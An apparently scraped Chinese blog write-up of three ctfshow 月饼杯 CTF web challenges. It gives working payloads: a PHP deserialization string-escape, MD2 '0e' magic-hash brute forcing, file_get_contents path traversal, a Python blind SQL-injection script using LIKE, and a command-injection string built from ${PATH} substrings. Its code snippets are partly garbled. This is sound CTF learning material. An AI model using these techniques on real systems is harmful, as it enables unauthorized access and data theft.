ctfshow 月饼杯
创始人
2024-03-09 07:40:53
0

寒假打算认真学习一下,就先从半个月的刷题开始。

文章目录

  • web1_此夜圆
  • web2_故人心
  • web3_莫负婵娟

web1_此夜圆

题目给的有附件,一看就是php反序列化字符串逃逸(应该是签到题)。

源码:

public $uname;public $password;public function __construct($uname,$password){$this->uname=$uname;$this->password=$password;}public function __wakeup(){if($this->password==='yu22x'){include('flag.php');echo $flag;	}else{echo 'wrong password';}}}function filter($string){return str_replace('Firebasky','Firebaskyup',$string);
}$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

先本地试一下是否逃逸成功:

image-20221201195841680

发现成功,脚本如下:

public $uname;public $password;public function __construct($uname,$password){$this->uname=$uname;$this->password=$password;}
}
function filter($string){return str_replace('Firebasky','Firebaskyup',$string);
}$a = 'FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';
$b=filter(serialize(new a($a,'2')));
echo $a;
//var_dump(unserialize($b));

payload:

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

web2_故人心

题目打开后直接就是源码,就是一个代码绕过题,懂了考的知识点就行。

第一个考点是浮点数的精度溢出:

一步一步尝试就好:

echo 1;
}
if($a!=0){echo 2;
}
if($a**2==0){echo 3;
}
?>

最后就是:

?a=1e-200

然后是第二个考点:

提示的是想一想md5碰撞原理,并且在hinthint.txt中也有提示:

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))

所以将b和b和b和c的值爆破出来就好。

$b = '0e'.$i.'024452';if($b == hash("md2",$b)){echo $b;echo "\n";break;}
}
for($i=0;$i<9999;$i++){$c = '0e'.$i.'48399';if($c == hash("md2",hash("md2", $c))){echo $c;break;}
}
?>

第二个payload为:

b=0e652024452&c=0e603448399

最后一个考点是file_get_contents:

file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件

随便弄一个协议头,含有ctfshow.com。

发现host的值就是://后边到第一个/之间的值:

image-20221201202914774

url=abc://ctfshow.com/../../../../../fl0g.txt

最终payload:

GET: a=1e-200&b=0e652024452&c=0e603448399
POST: url=abc://ctfshow.com/../../../../../fl0g.txt

image-20221201202932043

web3_莫负婵娟

首先发现了:

image-20221201204116121

所以知道用到了like,然后发现%被过滤,然后用_来匹配。

image-20221201204208516

到了32长度的时候发现返回不一致,猜测语句成功和不成功回显内容不一致,尝试盲注。

脚本:

import requestsurl = 'http://dca16f41-b198-44b4-9ee8-273ae5fd1884.challenge.ctf.show/login.php'
str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ"
flag = ""for i in range(33):for j in str:password = flag+j+"_"*(31-i)data ={"username" : "yu22x","password" : password}re = requests.post(url,data)if "wrong" not in re.text:flag = flag + jprint(flag)break
print(flag)

image-20221201205450157

等到密码,登录。

然后发现是一个ping命令,本来以为就是一个简单的命令执行绕过,但很快发现过滤的东西有点多,提示说可以用环境变量 +linux字符串截取 + 通配符,之前见到过,所以去构造一下。

image-20221201210216673

image-20221201210425625

payload:

127.0.1;${PATH:14:1}${PATH:5:1} ?${PATH:5:1}??.???

image-20221201210611074

相关内容

热门资讯

保存时出现了1个错误,导致这篇... 当保存文章时出现错误时,可以通过以下步骤解决问题:查看错误信息:查看错误提示信息可以帮助我们了解具体...
汇川伺服电机位置控制模式参数配... 1. 基本控制参数设置 1)设置位置控制模式   2)绝对值位置线性模...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
不一致的条件格式 要解决不一致的条件格式问题,可以按照以下步骤进行:确定条件格式的规则:首先,需要明确条件格式的规则是...
本地主机上的图像未显示 问题描述:在本地主机上显示图像时,图像未能正常显示。解决方法:以下是一些可能的解决方法,具体取决于问...
表格列调整大小出现问题 问题描述:表格列调整大小出现问题,无法正常调整列宽。解决方法:检查表格的布局方式是否正确。确保表格使...
表格中数据未显示 当表格中的数据未显示时,可能是由于以下几个原因导致的:HTML代码问题:检查表格的HTML代码是否正...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...